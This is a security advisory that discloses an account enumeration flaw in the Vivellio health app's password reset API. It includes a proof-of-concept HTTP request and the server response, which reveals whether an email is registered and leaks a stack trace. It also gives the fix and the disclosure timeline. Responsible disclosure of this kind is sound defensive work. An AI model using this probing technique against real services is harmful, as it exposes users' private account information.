# Trovent Security Advisory 2108-01 #
#####################################


User account enumeration in password reset function
###################################################


Overview
########

Advisory ID: TRSA-2108-01
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2108-01
Affected product: Vivellio Android mobile application (com.netural.vivellio)
Tested versions: Vivellio 1.2.1
Vendor: blockhealth GmbH, https://www.vivellio.app
Credits: Trovent Security GmbH, Karima Hebbal


Detailed description
####################

The Vivellio mobile application is used to store health information.
Trovent Security GmbH discovered a user account enumeration vulnerability in
the password reset function of the Vivellio mobile application.
The Vivellio server API allows checking if a user with a specific email address
is registered or not.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE ID: CWE-204
CVE ID: N/A


Proof of concept
################

Sample HTTP request sent with a non-registered email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

POST /user/reset-password HTTP/1.1
Host: app-gate.vivellio.app
Accept: application/json
Content-Type: application/json; charset=UTF-8
Content-Length: 28
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.14.1
Connection: close


{"email":"false@gmail.com"}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


The server response to an invalid email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HTTP/1.1 404 

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: application/json;charset=UTF-8
Date: Mon, 30 Aug 2021 11:26:59 GMT
Expires: 0
Pragma: no-cache
Server: openresty/1.15.8.1
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Content-Length: 1437
Connection: Close


{"cause":null,"stackTrace":[{"classLoaderName":null,"moduleName":null,"moduleVersion":null,"methodName":"createPasswordResetProcess","fileName":"UserControllerImpl.java","lineNumber":539,"className":"ai.blockhealth.carify.user.controller.UserControllerImpl","nativeMethod":false},
{"classLoaderName":null,"moduleName":null,"moduleVersion":null,"methodName":"startPasswordReset","fileName":"UserControllerImpl.java","lineNumber":85,"className":"ai.blockhealth.carify.user.controller.UserControllerImpl","nativeMethod":false},
{"classLoaderName":null,"moduleName":null,"moduleVersion":null,"methodName":"startPasswordReset","fileName":"UserServiceImpl.java","lineNumber":52,"className":"ai.blockhealth.carify.user.service.UserServiceImpl","nativeMethod":false},
{"classLoaderName":null,"moduleName":null,"moduleVersion":null,"methodName":"startPasswordReset","fileName":"UserApi.java","lineNumber":61,"className":"ai.blockhealth.carify.user.UserApi","nativeMethod":false},
{"classLoaderName":null,"moduleName":null,"moduleVersion":null,"methodName":"doFilterInternal","fileName":"VivellioRequestLogger.java","lineNumber":56,"className":"ai.blockhealth.carify.filter.VivellioRequestLogger","nativeMethod":false}],
"message":"The email false@gmail.com could not be linked to an existing account.","suppressed":[],"localizedMessage":"The email false@gmail.com could not be linked to an existing account.","exceptionClass":"EmailNotFoundException"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

Ensure the application returns a consistent message for both existent and
nonexistent accounts during the password reset process.

Fixed in Vivellio server API, verified by Trovent.


History
#######

2021-08-30: Vulnerability found & advisory created
2021-09-24: Vendor contacted
2021-09-27: Vendor replied
2021-12-18: Vendor reported that the vulnerability is fixed
2022-01-26: Trovent verified the fix of the vulnerability
2022-02-03: Advisory published